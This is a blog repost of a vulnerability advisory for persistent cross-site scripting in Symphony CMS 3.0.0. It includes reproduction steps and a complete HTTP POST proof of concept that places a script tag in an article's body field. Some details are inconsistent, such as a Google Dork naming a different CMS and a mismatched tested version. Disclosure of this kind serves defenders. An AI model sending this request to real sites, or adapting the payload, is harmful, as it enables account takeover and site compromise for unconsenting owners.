Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86378781

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: SymphonyCMS 3.0.0 - Persistent Cross-Site Scripting
# Google Dork: "lepton cms"
# Date: 2020-08-28
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Vendor Homepage: https://www.getsymphony.com/
# Software Link: https://www.getsymphony.com/
# Version: 3.0.0
# Tested on: Windows
# CVE : N/A

Description:
Cross-site scripting (XSS) vulnerabilities in Symphony CMS 3.0.0 allow remote attackers to inject arbitrary web script or HTML

To Reproduce:
Steps to reproduce the behavior:

1. Login as member
2. Go to 'Articles'
3. Submit malicious content
4. Anyone (inclued admin) view article and XSS excuted

Expected behavior
When admin or user view content, a pop-up will be displayed

Affected componets:
events\event.publish_article.php in Symphony CMS 3.0.0 allows XSS via fields['body'] to appendSubheading

POC:

POST /symphonycms/symphony/publish/articles/new/ HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://target/symphonycms/symphony/publish/articles/new/
Content-Type: multipart/form-data; boundary=---------------------------17679481844164416353626544932
Content-Length: 1111
Origin: http://target
Connection: close
Cookie: PHPSESSID=b21qllug0g7ft80ueo3bn0bgcd;
Upgrade-Insecure-Requests: 1

-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="xsrf"

vr-i2mWs18DPjVmZ8z2nB-Gb3hdyrb
-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="MAX_FILE_SIZE"

5242880
-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="fields[title]"

TEST XSS
-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="fields[body]"

<script>alert('XSS')</script>
-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="fields[date]"

08/28/2020 5:55 am
-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="fields[categories][]"

2
-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="fields[publish]"

yes
-----------------------------17679481844164416353626544932
Content-Disposition: form-data; name="action[save]"

Create Entry
-----------------------------17679481844164416353626544932--

Desktop (please complete the following information):
OS: Windows 10
Browser: Firefox or Chrome
Application: XAMPP, Burpsuite

Additional context
Tested on: 9.03.50 verison
POC at: https://vimeo.com/405740251